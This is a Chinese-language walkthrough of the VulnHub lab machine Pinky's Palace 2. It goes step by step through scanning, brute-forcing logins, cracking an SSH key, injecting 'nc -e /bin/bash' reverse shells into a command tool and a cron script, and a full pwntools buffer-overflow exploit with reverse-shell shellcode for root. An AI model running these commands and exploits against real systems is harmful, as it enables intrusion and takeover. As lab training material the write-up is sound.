vulnhub-Pinkys-Palace2通关教程
快速分析,1是网卡,2是服务器,254是DNS,155是kali,160就是靶机了,我们开机上面也有的。这里我用NAT模式不会有真实机器,和virtualbox打法不一样,virtualbox我是挂靶机,VMware挂kali来打的,用的桥接网卡,网段会扫出真实设备。
nmap 192.168.135.0/24 -sP

这里和上个靶场一样,也是枚举80端口的信息先。
nmap 192.168.135.160

做了全扫我们发现还是只知道80是http,多出两个端口连同31337我们都不知道干嘛用的。
nmap 192.168.135.160 -sV -sC -A -T5 -p-

这里根据作者的描述我们要将IP添加到我们的hosts中
echo 192.168.135.160 pinkydb | sudo tee -a /etc/hosts


根据我们添加的网站访问,发现是个博客,但是没有获得什么有用的信息。

这里我们直接上wpscan来扫漏洞,因为CMS是wordpress,我们扫出了目录和漏洞,但是没有用密钥,加个参数--api-token的事情,但是我们也发现了个账号。
wpscan --url http://pinkydb/ -eu

我们使用自带字典来跑dirb扫目录,我们发现/secret和wp-login.php后台登录地址
Locate big.txt
dirb http://pinkydb/ /usr/share/wfuzz/wordlist/general/big.txt
dirb http://pinkydb/wordpress/ -w -X .php




到这里我们发现之前不认识的端口,没有开放要做敲震。。。这里我们可以用hping和knock,但是这里有个弊端,敲一次可能还是不开放,我们要做的是组合,多的情况下用脚本最好。。
knock pinkydb 8890 7000 666
knock pinkydb 8890 666 7000
knock pinkydb 7000 8890 666
knock pinkydb 7000 666 8890
knock pinkydb 666 8890 7000
knock pinkydb 666 7000 8890
全都open了!!!


我们直接访问http枚举信息发现是一个登录窗口

dirb http://192.168.135.160:7654/ /usr/share/wfuzz/wordlist/general/big.txt
dirb http://192.168.135.160:7654/apache -X .php


curl http://192.168.135.160:7654/apache/wp-config.php

用bp爆破的到账号密码pinky/Passione
cewl http://pinkydb > yang.txt

也可以使用hydra爆破
hydra -L ./yang.txt -P ./yang.txt -s 7654 pinkydb http-post-form -m "/login.php:user=^USER^&pass=^PASS^:Invalid"

登录后发现这个是一个stafono的rsa密钥,密钥权限不能太高,版本也要对,这样我们就能直接ssh登录。


我们看到这里并不是叫我们输入Stefano的密码,说明密钥是对的,但是需要将密钥解密,这个我们搞了很多次,用john。
Ssh stafeno@192.168.135.160 -p 4655 -I id_rsa
这里因为做了端口修改,22端口变成了4655,-i指定密钥

要用john来爆破,我们得先对rsa做个转换
locate rockyou.txt
locate ssh2john.py

将rsa用py脚本转换后可以直接用rockyou来破解ssh加密的密匙获得secretz101
/usr/share/john/ssh2john.py id_rsa > yang_rsa
john --wordlist=/usr/share/wordlists/rockyou.txt yang_rsa

登录stefano的ssh,输入id_rsa的密钥secretz101,权限赋值400/600即可登录
Ssh stefano@192.168.135.160 -p 4655 -i id_rsa

这里发现note.txt里说pinky给我这个项目所以我可以发信息给他。那么应该就是qsub了,而且我们发现这个qsub是www-data运行的,我们发现靶机有三个用户


我们发现MySQL可以本地登录,而且我们之前获取了MySQL的账号密pinkywp/pinkydbpass_wp
Ps -aux | grep mysql
Ss -plnt | grep 3306

登录mysql后我们发现了他的账号密码,账号之前我们也获取了,但是秘密啊还是无法知道的,这个个加密后的。
mysql -upinkywp -ppinkydbpass_wp

我们发现我们没有办法查看他,但是可以操作他需要密码

我们发现这个结构很像文件包含漏洞,尝试查看目录发现需要输入命令,他输入环境变量TERM就进去了,我们也要知道TERM是什么

我们之前拿稳定shell时export TERM=xterm-256color,这里他也一样,这个就是密码。

他可以进行命令执行,我们就反弹一个shell回来
./qsub "$(nc -e /bin/bash 192.168.135.155 9999)"
./qsub ‘$(nc -e /bin/bash 192.168.135.155 9999)’
这里要使用单引号,双引号返回的还是stefano的shell而不是pinky的shell



手工查看pinky可写入的计划任务,这样就可以实现后门持久化
find / -user pinky 2>&1 | grep -v "Permission denied\ |proc"
find / -writable 2>/dev/null
find / -group pinky 2>/dev/null

但是没有权限
Echo ‘nc -e /bin/bash 192.168.135.155 6666’ > backup.sh

此时我发现我们的sshid不完全时pinky的。。。

我们通过newgrp加入gid权限,这样我们就可以操作backup.sh了
Newgrp
echo 'nc -e /bin/bash 192.168.135.155 6666' > backup.sh

成功拿到了demon的shell,我们将他修复
Python -c ‘import pty;pty.spawn(“/bin/bash”)’
Stty raw -echo; fg
Export TERM=xterm

find / -user demon 2>/dev/null | grep -Ev '/proc|/sys|/use'

我们发现他是root运行的。那么说我们就可以利用他拿到rootshell

这次我们用新的方法传输文件,用nc监听1111端口传输panel。
Kali监听1111端口接收文件放入panel
靶机连接端口1111将文件panel传递到kali
Nc -vlnp 1111 > panel
Nc 192.168.135.155 1111 < panel


Md5不会骗人
Md5sum panel


这个又是64位,一看又是缓冲区溢出的题目。。。我们还是看看他用了什么函数,更加坚定他有缓冲区溢出

这里有很多方法,可以用gdb,也可以用strings,strings不只是能分析图片,这里它使用了scrcpy,这个老演员了。
Strings panel
Function info


我们发现运行程序它不想以前一样直接出现stack之类的东西,看不到rbp这些,我们看看运行端口发现了31337,这个好像我们刚开始扫到的端口,应该是要我们连接它。
Ss -tulnp


我们生成字符,模糊测试查看他是否溢出,发现确实存在溢出
locate pattern_create
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 500



接下来我们看看它开启了什么保护,ASLR为2,原来难度为困难在这里啊
Checksec
cat /proc/sys/kernel/randomize_va_space

查看内核范围的安全机制ASLR
cat /proc/sys/kernel/randomize_va_space

每次运行重启都要彻底关闭进程,不然会报错卡死
pkill -9 panel; pkill -i panel

我们关闭程序,重新生成字符,连接程序运行端口运行字符得到rbp的值用pattern_offset查询得到偏移量。
locate pattern_create
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 500
nc -v localhost 31337
locate pattern_offset
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x6541316541306541




接下来我们寻跳板call rsp/jmp rsp,我们用机器码来寻找它,我们找到panel call rsp的地址为0x400cbf,没找到jmp rsp也够用了。
search -x ffd4 //call rsp机器码
search -x ffe4 //jmp rsp机器猫


因为这个是64位程序,我们生成监听shellcall就要用64位的linux命令。
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.135.155 LPORT=6666 -b '\x00\x0a\x0b' -f python

编写exp,执行拿到rootshell。
from pwn import *
HOST, PORT = "pinkydb", 31337
buf = b""
buf += b"\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d"
buf += b"\x05\xef\xff\xff\xff\x48\xbb\xd8\xf5\x75\x96\xcd"
buf += b"\xba\x4a\xc4\x48\x31\x58\x27\x48\x2d\xf8\xff\xff"
buf += b"\xff\xe2\xf4\xb2\xdc\x2d\x0f\xa7\xb8\x15\xae\xd9"
buf += b"\xab\x7a\x93\x85\x2d\x02\x7d\xda\xf5\x6f\x9c\x0d"
buf += b"\x12\xcd\x5f\x89\xbd\xfc\x70\xa7\xaa\x10\xae\xf2"
buf += b"\xad\x7a\x93\xa7\xb9\x14\x8c\x27\x3b\x1f\xb7\x95"
buf += b"\xb5\x4f\xb1\x2e\x9f\x4e\xce\x54\xf2\xf1\xeb\xba"
buf += b"\x9c\x1b\xb9\xbe\xd2\x4a\x97\x90\x7c\x92\xc4\x9a"
buf += b"\xf2\xc3\x22\xd7\xf0\x75\x96\xcd\xba\x4a\xc4"
payload = buf
payload += b'A'*(120-len(buf))
payload += p64(0x400cfb)
print(payload)
r = remote(HOST,PORT)
r.recvuntil(b"=>")
r.sendline(payload)


直接运行exp,拿到rootshell。哎,这个昨天看了下没有开NX代码不可执行的溢出都是简单题目。。。


这里完成溢出拿到root就结束了,看看flag吧

这里我们捋捋思路,我们用cwel爬取网页获得密码本,登录stefano的shell,里面我们看到还有两个用户,pinky/demon,我们qsub执行命令反弹shell登录pinky的shell,我们在里面发现共有文件backup.sh写入反弹监听shell,自动执行拿到demon的shell,这里我们的权限无法执行backup.sh,我们通过加入新gid获得执行写入权限。我们在demon用户下发现溢出程序panel,我们发现只开了ASLR,NX,canary这些都没有开,我们直接用shellcode覆盖的方法执行溢出拿到rootshell。这里我们模糊确定存在溢出,找到偏移量,用call rsp的机器码找到rbp跳板,生成64位监听的shellcode,编写exp得到了rootshell。这里我们应该注意每次溢出时要杀死进程,重新连接进程端口。
Call rsp 机器猫ff d4 / jmp rsp 机器码 ff e4
查看编译器范围安全机制checksec cat /proc/sys/kernel/randomize_va_space
查看内核范围安全机制ASLR
浙公网安备 33010602011771号